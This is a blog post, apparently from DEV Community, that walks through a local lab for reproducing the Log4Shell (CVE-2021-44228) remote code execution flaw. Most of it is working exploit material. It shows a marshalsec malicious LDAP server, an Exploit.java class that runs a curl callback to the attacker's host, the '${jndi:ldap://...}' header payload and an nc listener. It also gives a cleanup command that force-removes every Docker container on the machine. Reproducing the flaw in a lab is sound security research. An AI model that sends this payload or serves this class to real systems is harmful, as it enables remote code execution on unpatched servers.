DEV Community

CRUD5th-273-
CRUD5th-273-

Posted on

Reproducing Log4Shell Locally: A Controlled Exploitation Lab

The ability to reproduce vulnerabilities in a contained lab environment is a cornerstone of responsible security research.

In this post, we build a minimalist setup to safely reproduce Log4Shell (CVE-2021-44228), demonstrating its impact and behavior.

⚠ Disclaimer

This lab is for educational and research purposes only.

Do not deploy this setup on public-facing infrastructure.


1. Lab Architecture

┌────────────┐     LDAP Callback     ┌────────────┐
│ Vulnerable │  ←───────────────→   │   Attacker │
│   Server   │                      │ (LDAP + JShell) │
└────────────┘                      └────────────┘
Enter fullscreen mode Exit fullscreen mode

Components:

  • Vulnerable Java app (Log4j ≤ 2.14.1)
  • Malicious LDAP server using marshalsec
  • Optional reverse shell or command callback

2. Setup Vulnerable Server

Clone minimal vulnerable app:

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app
docker build -t vulnerable-log4j-app .
docker run -p 8080:8080 vulnerable-log4j-app
Enter fullscreen mode Exit fullscreen mode

Test endpoint:

curl http://localhost:8080 -H 'X-Api-Version: 1.0'
Enter fullscreen mode Exit fullscreen mode

3. Set Up Malicious LDAP Server

Install dependencies:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Enter fullscreen mode Exit fullscreen mode

Run malicious LDAP server:

java -cp target/marshalsec-*.jar marshalsec.jndi.LDAPRefServer \
    "http://<your-ip>:8000/#Exploit"
Enter fullscreen mode Exit fullscreen mode

Note: Host a malicious Java class (Exploit.class) via a simple HTTP server:

python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode

4. Create Exploit Class

Example Exploit.java:

import java.io.IOException;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("curl http://<your-ip>:9999/pwned");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Compile and serve it:

javac Exploit.java
# place it in your HTTP server root
Enter fullscreen mode Exit fullscreen mode

5. Trigger the Exploit

Send payload to vulnerable server:

curl http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://<your-ip>:1389/Exploit}'
Enter fullscreen mode Exit fullscreen mode

Monitor logs / listener:

nc -lvnp 9999  # listener for callout
Enter fullscreen mode Exit fullscreen mode

6. Observations

Once triggered, the vulnerable server performs a JNDI lookup → loads the remote class → executes the payload.

This confirms RCE and reflects the original threat in controlled conditions.


7. Cleanup

Always destroy containers and shut down servers after testing:

docker rm -f $(docker ps -aq)
Enter fullscreen mode Exit fullscreen mode

Final Notes

Reproducing CVEs like Log4Shell helps deepen your understanding of exploit chains,

from surface exposure to execution vectors.

In future posts, we’ll enhance this lab with:

  • Real-time reverse shells
  • Detection via eBPF or syscalls
  • Mitigation layering (WAF, egress control, JVM flags)

Stay sharp. Know the vector. Control the surface.

Top comments (0)